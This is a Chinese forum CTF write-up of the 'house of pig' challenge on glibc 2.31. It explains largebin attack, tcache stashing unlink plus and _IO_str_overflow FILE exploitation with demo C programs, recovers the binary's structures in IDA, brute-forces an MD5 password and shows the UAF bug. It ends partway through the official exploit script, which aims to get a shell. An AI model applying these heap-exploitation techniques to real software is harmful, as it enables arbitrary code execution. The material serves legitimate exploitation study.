首页
论坛
课程
招聘
[原创]house of pig详解
2021-6-26 17:14 8101

[原创]house of pig详解

2021-6-26 17:14
8101

在复现这题之前需要了解一些前置知识:libc2.31下的largebin_attacktcache_stashing_unlink plus以及高版本glibc下的IO_FILE攻击

 

首先看到libc2.31下的largebin_attack

0x1.libc2.31下的largebin_attack

跟随how2heap项目中的largebin_attack以及源码调试来学习。

 

从libc2.30开始,largebin的插入代码中新增了两个检查

 

先看到第一个点

 

2c5gYj.jpg

 

将unsortedbin插入到largebin中时,且这个unsortedbin大于largebin的size,此时插入过程增加了双向链表完整性检查。

 

通常就是修改largebin的bk_nextsize=target_addr-0x20,然后在插入一个比原有largebin更大的unsortedbin时(后面称原有的largebin为largebin1,新插入的为largebin2),在插入过程中,largebin1的bk_nextsize被设置为largebin1的bk_nextsize,即target_addr-0x20,后续victim->bk_nextsize->fd_nextsize = victim这条语句,会将target_addr-0x20+0x20位置写入largebin2的地址,这是第一个点。

 

第二个点如下

 

2chIg0.png

 

这里的利用方式是修改largebin1的bk=target_addr-0x10,bck = fwd->bk;bck->fd = victim;这两句代码执行完毕后会将target_addr-0x10+0x10的位置写入largebin1的地址。

 

如图所示,这两处都添加了检查。

 

但当要插入的unsortedbin小于largebin的size时并没有做检查,如下图

 

2cIbb8.jpg

 

在这里并没有进行检查,因此在libc2.31下这里就成了新的利用点。

 

demo文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
/*
 
A revisit to large bin attack for after glibc2.30
 
Relevant code snippet :
 
    if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    }
 
 
*/
 
int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);
 
  size_t target = 0;
  size_t *p1 = malloc(0x428);
  size_t *g1 = malloc(0x18);
 
  size_t *p2 = malloc(0x418);
  size_t *g2 = malloc(0x18);
 
  free(p1);
  size_t *g3 = malloc(0x438);
 
 
  free(p2);
 
  p1[3] = (size_t)((&target)-4);
 
  size_t *g4 = malloc(0x438);
 
  assert((size_t)(p2-2) == target);
 
  return 0;
}

我删掉了原文件中的一些描述性代码,以便于观看代码。

 

整体攻击思路就是申请一大一小两个chunk(后面称为chunk1,chunk2),先free掉chunk1,然后申请一个更大的chunk来将chunk1从unsortedbin中插入到largebin,接着将chunk1的bk_nextsize设置为target_addr-0x20,这是第一步;第二步,free掉chunk2,然后申请一个更大的chunk来将chunk2从unsortedbin中插入到largebin中,由于此时插入的chunk2的size要小于chunk1,所以会触发新的攻击流程,这里我们采用源码调试,以便更直观地学习。

 

在程序执行到size_t *g4 = malloc(0x438);这一句时,堆的情况如下

 

2Ro900.png

 

largebin里放着0x430的chunk,unsortedbin里面则是0x420的

 

2Ro1hD.png

 

2RoB4S.png

 

chunk1的bk_nextsize被设置为了target_addr-0x20

 

接下来我们将断点下在_int_malloc函数

 

2Roo34.png

 

2RoLHx.png

 

然后我们运行到将unsortedbin插入到largebin的代码

 

2WoKdP.png

 

首先获取要插入的unsortedbin对应的largebin的index,然后获取到对应的链表头

 

2WoUZq.png

 

由于此时largebin中已经有了一个chunk,所以对应链表头的fd和bk都被设置为了这个largebin的地址,类似于下面这样

 

2WLTl8.png

 

然后进入到插入环节

 

2WoHOA.png

 

将bck,也就是链表头赋值给fwd,将bck->bk(chunk1的地址)赋值给bck,进入到插入操作,首先将chunk2(即将插入的chuhnk)的fd_nextsize设置为chunk1的地址

 

RGPD3Q.png

 

再将chunk2的bk_nextsize设置为chunk1的bk_nextsize,而chunk1的bk_nextsize已经被修改为了target_addr-0x20,因此chunk2的bk_nextsize也会指向target_addr-0x20

 

2WHyQg.png

 

最后一行代码用于修改chunk1的fd_nextsize和bk_nextsize为chunk2的地址,由于设置chunk1的fd_nextsize是通过

 

victim->bk_nextsize->fd_nextsize来设置的,而victim->bk_nextsize指向的是一个错误的地址,执行完这条赋值语句后就会在target_addr+0x20的位置上写入chunk2的地址

 

2WX5M8.png

 

至此就实现了类似于libc2.23下的unsortedbin attack,往任意地址写入一个堆地址。

0x2.tcache_stashing_unlink plus

此种利用方式可以达成任意地址处分配一个chunk

 

demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
 
static uint64_t victim[4] = {0, 0, 0, 0};
 
int main(int argc, char **argv){
    setbuf(stdout, 0);
    setbuf(stderr, 0);
 
    char *t1;
    char *s1, *s2, *pad;
    char *tmp;
 
    printf("You can use this technique to get a tcache chunk to arbitrary address\n");
 
    printf("\n1. need to know heap address and the victim address that you need to attack\n");
 
    tmp = malloc(0x1);
    printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        &victim, victim[0], victim[1], victim[2], victim[3]);
    printf("heap address: %p\n", tmp-0x260);
 
    printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
    victim[1] = (uint64_t)(&victim);
    printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        victim[0], victim[1], victim[2], victim[3]);
 
 
    printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
    printf("Here, I choose the size 0x60\n");
    for(int i=0; i<5; i++){
        t1 = calloc(1, 0x50);
        free(t1);
    }
 
    printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
        t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
 
    printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
 
    s1 = malloc(0x420);
    printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
    pad = malloc(0x20);
    printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
    free(s1);
    printf("Free chunk %p to unsortedbin\n", s1);
    malloc(0x3c0);
    printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
    malloc(0x100);
    printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
 
    printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
    printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
    s2 = malloc(0x420);
    pad = malloc(0x80);
    free(s2);
    malloc(0x3c0);
    malloc(0x100);
    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
    printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
 
    printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
    printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
    *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
 
    printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
 
    calloc(1, 0x50);
    printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
        &victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
 
    printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
 
    uint64_t *r = (uint64_t*)malloc(0x50);
    r[0] = 0xaa;
    r[1] = 0xbb;
    r[2] = 0xcc;
    r[3] = 0xdd;
 
    printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        victim[0], victim[1], victim[2], victim[3]);
 
    return 0;
}

整体思路如下

 

1.tcache中放5个,smallbin中放两个

 

2.将后进smallbinchunkbk(不破坏fd指针的情况下)修改为目标地址-0x10,同时将目标地址+0x8处的值设置为一个指向可写内存的指针。

 

3.从smallbin中取一个chunk,走完stash流程,目标地址就会被链入tcache中。

 

依然是源码调试

 

将断点下在calloc(1, 0x50);这一行,以及_int_malloc

 

先看看此时的内存情况

 

2fpHdU.png

 

victim就是我们的目标,&victim+0x8的位置已经被设置为了一个指向可写内存的指针

 

2f9MTS.png

 

后进入的smallbin的bk指针指向了&victim-0x10

 

2f9tO0.png

 

0x60的tcache里面有五个,0x60的smallbin里面有两个

 

接下来我们跟进到int_malloc中

 

由于calloc不从tcache中取chunk,所以会直接从smallbin中取出一个chunk

 

2fCLvR.png

 

2fPXWQ.png

 

链表头和两个smallbin的结构如下

 

2fkFxJ.png

 

2fkcd0.png

 

victim = last (bin)取最后一个chunk(从上面的结构图里面能看得很清楚)

 

last是一个宏定义,如下

1
#define last(b)      ((b)->bk)

接着往前遍历,取倒数第二个chunk,还会进行双向链表的完整性检查

 

2fE9c4.png

 

2fEtC8.png

1
2
bin->bk = bck;
bck->fd = bin;

这两条代码将最后一个chunk解链,执行后结构如下

 

2fZVSO.png

 

然后运行到这里

 

2fmGLQ.png

 

size_t tc_idx = csize2tidx (nb);会先计算出此时申请的chunk的size对应于tcache的哪一条链

 

2fno90.png

 

如果这条链的tcache中还有空余且smallbin也有chunk

 

2fun8P.png

 

2fuN80.png

 

满足条件,然后取出smallbin中的最后一个chunk

 

2fuhrD.png

1
2
3
4
5
6
bck = tc_victim->bk;//取倒数第二个smallbin,但tc_victim->bk已经被我们设置为了&victim-0x10
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
    set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;//将倒数第一个chunk解链

依次运行上述代码

 

2fKXf1.png

 

bck如果我们分析一样,是&victim-0x10

 

2fMT3t.png

 

链表头的bk指针指向了&victim-0x10

 

2fQiuT.png

 

bck->fd=bin,即&victim-0x10+0x10=&victim被设置为了bin头,解链后结构如下

 

2f1K0O.png

 

之后再将tc_victim放入tcache

 

放入前

 

2f1hEF.png

 

放入后

 

2f1oC9.png

 

看到这里相信大家就大概能明白为什么这个攻击手法可以任意地址分配一个chunk了,此时tcache中还剩一个空位,程序会继续从smallbin中取chunk放入tcache,此时smallbin中只剩下victim,我们继续调试

 

2f8Yef.png

 

新一轮的tc_victim为&victim-0x10

 

接下来会找到倒数第二个chunk

 

2f8bTO.png

 

因此我们需要将&victim-0x10+0x18处设置为一个可写地址x,方便后面往其中写bin头地址,而demo一开始就将其设置好了。

 

2fGoCQ.png

1
victim[1] = (uint64_t)(&victim);

后续的就是继续解链,然后将victim加入到tcache

 

2fJiK1.png

 

至此攻击完成

0x3.高版本下的_IO_FILE利用

在2.23下一般攻击FILE结构体就是劫持IO函数的_chain字段为我们伪造的IO_FILE_plus,然后修改vtable表中的io_str_overflow为system。在高版本libc下,如libc2.31下也依然是利用io_str_overflow这个函数,但io_str_overflow函数的实现发生了变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

可以看到io_str_overflow调用了malloc,memcpy,free等函数

 

我们回溯一下malloc的参数new_size的来源

1
2
3
size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp);
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

如果我们能控制(fp)->_IO_buf_end - (fp)->_IO_buf_base就能够控制malloc申请的chunk大小,再看到后面这一段

1
2
3
4
5
6
7
if (old_buf)//char *old_buf = fp->_IO_buf_base;
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }

如果old_buf指向的内存空间有数据,则将使用memcpy将old_buf中的数据拷贝到new_buf中,拷贝的长度为old_blen,然后再free (old_buf);

 

再看到_IO_str_overflow的汇编

 

2fBjyD.png

 

在+53这一行,会将[rdi+0x28]处的值送到rdx中,而自从libc2.29开始,setcontext中的gadget索引由rdi变为了rdx,需要先控制rdx的值才能够进行后续的srop

 

_IO_str_overflow中的这条汇编正好可以将rdx进行赋值,且来源还是rdi,rdi正好是FILE结构体的首地址,只需要将fp+0x28设置为我们可以控制的地址就可以进行srop,且这条语句是在malloc之前执行的,所以利用方法就是:首先将malloc_hook设置为setcontext+61,然后触发_IO_str_overflow,事先在我们伪造的FILE结构体中设置好相应的数据,从而将rdx赋值为我们可以控制的地址,接着_IO_str_overflow调用malloc触发setcontext,进行srop。

 

触发malloc的条件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fp->_flags=0;//if (fp->_flags & _IO_USER_BUF) return EOF;/* not allowed to enlarge */
fp->_IO_write_ptr=srop_addr
/*
0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
 
0x00007ffff7e2f0dd <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
*/
new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100);
memcpy (new_buf, fp->_IO_buf_base, (fp)->_IO_buf_end - (fp)->_IO_buf_base);
free (fp->_IO_buf_base);

0x4.house of pig

libc版本为2.31,用c++写的

0x1.修复switch table

IDA反编译,查看main函数

 

2fcGdg.png

 

看到一条 __asm { jmp rax },这是因为IDA没能正确识别switch跳转,修复一下,看到汇编

 

2fWMtg.png

 

jmp rax的地址在0x3794,跳转表在0x69e0

 

2fWtBV.png

 

跳转表是一字节一字节的,连续按d修改成四字节一组,一共有6个跳转

 

2fW6nx.png

 

接下来开始修复跳转表,首先选中jmp rax那条汇编,再按如下路径选取specify switch idiom

 

2f7GwR.png

 

配置如下

 

2fLdUA.png

 

由上至下分别为

 

跳转表的地址;跳转的数量;每一个跳转值的长度;基值;跳转开始的位置;跳转使用的寄存器;/;默认跳转位置。

 

修复成功后如下所示

 

2fXMSx.png

 

舒服了许多。

0x2.恢复结构体

开始分析程序

 

随便点开程序开头的一个函数

 

RnZHmT.png

 

一串赋值0的操作,不明白什么意思,继续往下

 

找到菜单

 

RnZjh9.png

 

一共有五个功能,增查改删以及切换人物

 

点开case 1对应的函数,也就是add函数

 

RneP0O.png

 

里面嵌套着一个switch,点开case1对应的函数看看

 

Rne8hj.png

 

相当难看,很多对地址进行的操作,这种情况尽可能恢复程序的结构体方便后续分析,先大致分析一下这个函数的流程。

 

最多能申请20次,申请的chunk的大小要大于等于0x90小于等于0x430.并且每一次申请的chunk的size都要大于等于上一次所申请的。申请堆块用的是calloc函数,calloc不从tcache中取。

1
*(_DWORD *)(unk_9070 + 0x150LL) = v8;

如果size合法的话,就将size赋值给*(_DWORD *)(unk_9070 + 0x150LL),这个unk_9070 中存放的是mmap出来的一块内存的地址。

1
2
3
*(_DWORD *)(a1 + 4 * (i + 48LL)) = v8;
*(_BYTE *)(a1 + i + 288) = 0;
*(_BYTE *)(a1 + i + 312) = 0;

这一段寻址看的不清晰,我们修改一下这个函数传入的参数的类型

 

RKKhLR.png

 

原本是int64类型,我们将其修改为char * ,在参数上按y修改类型

 

RKKoo6.png

 

修改完后上面那一段就变成了如下所示

 

RKKOQH.png

 

这样子看起来就比上面那段看起来清楚一些,将a1[4 * i + 0xC0]赋值为size,将a1[i + 0x120]以及a1[i + 0x138]都赋值为0.

 

继续往下看

 

RKMklQ.png

 

size/0x30,也就是将申请的chunk以0x30大小切片,每次都往切片的顶部读入0x10个字节的数据。

 

这个函数到这就算分析得差不多了,但如果我们要恢复程序使用的结构体,这些信息还不够,继续分析其他函数。

 

再看到add功能的case 2

 

case 2的函数与case1对应的函数只有几处不一样

 

RKQwEq.png

 

size存放到mmap中的位置变了

 

RKQrCT.png

 

将chunk切片之后不再是从顶部写入,而是从偏移0x10处开始写

 

case3对应的函数不同之处也是在这两处,就不再说了。

 

由add功能可以猜测,add功能传入的参数应该是一个结构体,

1
2
3
4
*(_QWORD *)&a1[8 * i] = calloc(1uLL, v8); //存储堆地址
*(_DWORD *)&a1[4 * i + 0xC0] = v8; //存储chunk size
a1[i + 0x120] = 0; //意义不明
a1[i + 0x138] = 0;//意义不明

再看到view功能

 

RKzN40.png

 

首先判断*(int *)(unk_9070 + 0x404LL)的值是否大于0,然后依然有三个函数,进入第一个函数

 

RMS0it.png

 

输入一个序号,然后会有以下三个判断

1
2
3
*(_QWORD *)&a1[8 * v4] //判断chunk是否存在
*(_DWORD *)&a1[4 * v4 + 0xC0] //判断对应的size是否存在
!a1[v4 + 0x120]

满足这三个条件就会输出对应chunk的值

 

另外两个函数也基本一致

 

看到edit功能

 

RM9FjU.png

 

和view功能一样,开头会检查一个全局变量的值*(int *)(unk_9070 + 0x408LL)是否大于0,大于0才会进入到edit的子函数中,查看第一个函数

 

RM9rDg.png

 

依然有三个判断,和view的判断是相同的,通过判断的话就会重新往chunk中写入数据,也是先切片再写数据,和add功能中的逻辑一样

 

看到delete功能

 

RM9Ha9.png

 

delete功能没有次数的限制,进入第一个子函数

 

RM9jxK.png

 

delete功能依然有三个检查

1
2
3
*(_QWORD *)&a1[8 * v4]
&& !a1[v4 + 0x120]
&& !a1[v4 + 0x138]

检查chunk是否存在,检查!a1[v4 + 0x120]!a1[v4 + 0x120]这两个位置是否为0,通过检查的话则进行free,并将两个标志位置1,但并没有将堆指针清0。

 

前四个功能分析完毕,第五个功能稍后再谈,我们先通过这四个功能恢复出程序使用的结构体

 

总结如下

1
2
3
4
1.结构体至少需要存储20*8=0xa0的堆地址
2.还需要存储20*4=0x50的size数据
3.view,edit功能使用了a1[v4 + 0x120]处的标志位
4.delete功能使用了a1[v4 + 0x138]和a1[v4 + 0x120]处的标志位,也就是结构体应该有两个标志位数组,数组元素大小为1字节,因此结构体还需要存储20*1*2=0x28大小的标志位

初步猜测结构体应该如下所示

1
2
3
4
5
6
7
struct house
{
    char *list[20];
    int size[20];
    char flag[20];
    char flagg[20];
};

但这样子其实是有错误的,回到add功能

 

RMP9yT.png

 

堆地址是从结构体的头部开始存储的,而size数据则是从结构体偏移0xc0开始存储的,如果只存储20个堆地址的话,那么只占用0xa0的大小,size应该从0xa0开始存储;要使size从0xc0开始存储,则堆地址存储的上限应为0xc0/0x8=0x18个,同样的,size,flag,flagg的存储上限也应为0x18(大家可以自行计算一下,上限为0x18的话各种偏移就都正好满足),这样的话结构体应该如下

1
struct house{    char *list[0x18];    int size[0x18];    char flag[0x18];    char flagg[0x18];};

规划好结构体之后就可以往ida中添加了

 

RMPfnU.png

 

点到local types界面

 

RMP474.png

 

右键选择insert

 

RMPThR.png

 

直接输入结构体代码

 

RMPb1x.png

 

local types中会出现我们自定义的结构体类型

 

我们再回到add功能,修改参数类型

 

RMip4A.png

 

将其修改为house *类型

 

RMiigP.png

 

修改成功

 

我们再接着把程序中用到了这个结构体的函数的参数类型统统修改

 

比如我们在一开始点进去的那个一大堆赋值0的函数,修改完后就变成了下面这样

 

RMi3uT.png

 

清楚了亿点点

 

其他需要修改为house结构体的位置我就不一一修改给大家看了,可以自行操作

 

但,程序中不止存在这一个结构体,在add功能中

 

RMisbD.png

 

很明显,0x9070的值指向的空间也是一个结构体,我们接下来对这个结构体进行恢复

 

在程序一开始,有这么一个函数

 

RMib5j.png

 

将0x9070指向位置的数据拷贝到house结构体中,并且每一个memcpy函数拷贝的大小都是house结构体不同成员的大小

 

现在我们继续往下看到功能5 Change roles

 

RMOojJ.png

 

让我们输入密码,调用strlen得出密码的长度,调用sub_13C9这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 __fastcall sub_13C9(_DWORD *a1)
{
  unsigned __int64 v2; // [rsp-10h] [rbp-10h]
 
  v2 = __readfsqword(0x28u);
  *a1 = 0;
  a1[1] = 0;
  a1[2] = 0x67452301;
  a1[3] = 0xEFCDAB89;
  a1[4] = 0x98BADCFE;
  a1[5] = 0x10325476;
  return __readfsqword(0x28u) ^ v2;
}

这一串十六进制数是md5加密的特征,后面的sub_2916sub_2A8B也就不用看了,实际上就是将我们输入的密码进行md5加密,然后将md5加密后的数据和设置的好的md5值进行对比,进行比较的条件有三个

 

RQ2vxf.png

 

满足任意一个即可进入到if代码块中,这里需要注意的是,前两个比较使用的是memcmp,而第三个比较使用的是strcmp,strcmp存在0字符截断问题,我们看到dword_6928

 

RlSEM8.png

 

这串md5的开头存在\x00,所以在和这串md5值比较的时候实际上会提前截断,因此我们要找的只是以0x3c4400开头的md5对应的原值

 

我们再看到if代码块,if中的代码会判断我们输入的密码的第一个字符为A,B,C中的哪一个,然后返回1或2或3来切换角色。

 

根据以上的分析,如果我们想要切换角色,输入的密码需要以A,或B或C开头,且经过md5加密后需要以0x3c4400开头,这样的一串md5的原值还是有一些的,写了个烂脚本,就嗯爆破,在9位数字内各找到了满足条件的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
 
def main():
    start = "3c4400"
    while True:
        for i in range(100000000):
            s='A'+str(i)
            #s='B'+str(i)
            #s='C'+str(i)
            print "Test %s " % s
            if hashlib.md5(s).hexdigest().startswith(start):
                f=open('list','w')
                f.write(s+'\n')
                f.close()
 
if __name__ == '__main__':
    main()
'''
A39275120
B3332073
C75929410
'''

如果师傅们有更好的办法的话希望能指点一下(太菜了)

 

知道了如何更改角色以后再继续往下看

 

R1z9jf.png

 

会根据返回的角色值来进行switch选择要执行的函数,进入case1查看一下

 

R3KZcT.png

 

将house结构体的数据拷贝到qword_9070

 

看到case2

 

R3K2Dg.png

 

一样的功能,只不过拷贝的目标地址发生了变化,case3也是一样的

 

到这里为止,我们先考虑恢复qword_9070指向的结构体,很明显,根据这三个case,我们可以推断出这个结构体(后面称为tmp_house)至少有3个house结构体的大小,但还有一些小细节需要注意,回看到add功能

 

case1

 

R31irT.png

 

case2

 

R31Ea4.png

 

在tmp_house结构体中还需要存储当前size的大小,每一个角色都有一个对应的current_size,因此tmp_house还应在原有的3个house结构体的大小上在添加3个int类型的大小,但这依然不够

 

在view功能中

 

R31GIH.png

 

tmp_house结构体中还需要记录能够view的次数,注意,这里qword_9070+0x101,并不是说在偏移为0x101的位置处,还需要看到前面是int类型的指针,是四字节,所以实际上应该是0x101*4=0x404的偏移,上面的current_size也是如此。

 

在edit功能中

 

R31DeS.png

 

tmp_house结构体中还需要记录能够edit的次数

 

因此,tmp_house结构体应该如下

1
2
3
4
5
6
7
8
9
10
11
struct tmp_house
{
  struct house peppa_house;
  int current_peppasize;
  struct house mummy_house;
  int current_mummysize;
  struct house daddy_house;
  int current_daddysize;
  int show_time;
  int edit_time;
};

在ida中创建结构体,看看我们的推测是否正确

 

add功能

 

R33h9A.png

 

R335ct.png

 

edit功能

 

R33HHS.png

 

成功

 

结构体恢复就到此为止了,现在再来分析程序就会舒服很多(贴了好多图,希望师傅们看得清楚些)

0x3.漏洞分析

经过了上一阶段的分析,我们已经大致梳理了一遍程序的逻辑,现在来总结一下,并补充上面没有说到的

 

首先,这个程序有三个角色可以选择,在三个角色之间可以来回切换。在程序的开头会将三个角色各自的结构体的两个标志位都清0,程序运行起来后默认是使用的peppa这个角色,每个角色都有增删查改切换这五个功能,在view和edit功能中会检查第一个标志位flag是否为0,为0的情况下才能够进行相关操作;delete功能会检查flag和flagg这两个标志位是否都为0,都为0才会进行free,free之后将flag和flagg标志位置1,但并没有清空堆指针,所以这里可能会存在uaf;随后是切换角色的流程,假如我们从peppa切换到mummy

 

R3oJWF.png

 

如果next_character_num!=character_num,就会先将当前的角色的house结构体存储到global_house中,看到save_peppa_house这个函数

 

R3oNQJ.png

 

仔细观察,是不是少了些什么?house有两个标志位,flag和flagg,但这里只将flagg标志位保存了下来,继续往下看

 

R3owe1.png

 

接着根据next_character_num来恢复现场

 

R3osJO.png

 

在recover_peppahouse函数中将global_house中所有的数据都拷贝到了对应角色的house结构体中,而global_house中的对应的flag标志位是0,也就是说,当我们使用peppa这个角色free了一个chunk之后,flag=1,flagg=1,且这个chunk的指针没有清0,再切换到mummy,只会将flagg标志位进行存储,我们再切换回peppa这个角色,就会将global_house中的flag标志位赋值给house,这样一来peppa_house的flag=0,flagg=1,除了不能再次delete,view和edit功能都可以使用,也就是一个uaf漏洞。其他的角色也是一样,来回切换一次可以造成一个uaf。

0x4.漏洞利用

程序使用calloc来申请chunk,因此无法使用tcache attack,并且申请的chunk要大于0x90,也无法使用fastbin attack(不知是否可以使用largebin_attack来攻击global_max_fast?)

house of pig本质上是通过 libc2.31 下的 largebin attack以及 FILE 结构利用,来配合 libc2.31 下的 tcache stashing unlink attack 进行组合利用的方法

 

整体思路如下:

 

1.为tcache_stashing_unlink plus做好准备,往一个tcache链中放入五个chunk,再往同样大小的smallbin中放入两个chunk,

 

2.构造出largebin,泄露libc地址和heap地址,进行第一次largebin attack,将free_hook-0x8的位置写上一个堆地址

 

3.进行tcache_stashing_unlink ,将free_hook-0x10作为一个堆地址链入tcache头,但由于使用calloc,我们无法申请到这个chunk

 

4.进行第二次largebin attack,将_io_list_all覆盖成一个堆地址,我们在这个堆上伪造IO_FILE,伪造的FILE结构体需要满足要求以调用malloc来申请tcache中的chunk,也就是我们要使2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100=free_hook所在的那个tcache链的大小,并且还要修改vtable指针,vtable原本指向IO_file_jumps,将其修改为指向_IO_str_jumps,原本应该调用 IO_file_overflow 的时候,就会转而调用如下的 IO_str_overflow,这样一来就能够进而调用malloc申请到free_hook-0x10处的空间,而如果_IO_buf_base指向的空间有数据的话,还会将其中的数据拷贝到malloc申请的chunk中,所以我们可以在IO_buf_base指向的空间布置好/bin/sh和system的地址,这样一来就被被memcpy到free_hook-0x10处,IO_str_overflow在最后还会free掉IO_buf_base指向的chunk,这样就会触发system('/bin/sh')getshell

 

(我太懒了,就直接拿官方exp来讲解了,师傅们包容包容orz)

 

第一部分,为tcache_stashing_unlink 做准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Change(2)
for x in xrange(5):
    Add(0x90, 'B'*0x28) # B0~B4
    Del(x)    # B0~B4
#到这里0xa0的tcache中放入了5个chunk
Change(1)
Add(0x150, 'A'*0x68) # A0
for x in xrange(7):
    Add(0x150, 'A'*0x68) # A1~A7
    Del(1+x)
Del(0)
#将0x160的chunk放入到unsortedbin
Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0
#将0x160的chunk分割为0xc0和0xa0的,unsortedbin还剩下0xa0
Change(1)
Add(0x180, 'A'*0x78) # A8
#将0xa0的unsortedbin放入smallbin,0xa0的smallbin目前有一个
for x in xrange(7):
    Add(0x180, 'A'*0x78) # A9~A15
    Del(9+x)
Del(8)
#将0x190的chunk翻入unsortedbin
Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
#切割unsortedbin,unsortedbin还剩下0xa0
#----- leak libc_base and heap_base
Change(1)
Add(0x430, 'A'*0x158) # A16
#将0xa0的unsortedbin放入到smallbin,0xa0的chunk目前有两个
#至此,tcache_stashing_unlink的准备工作完成一部分

R8GVNF.png

 

此时的bins如上图

 

第二部分,泄露libc地址和heap地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
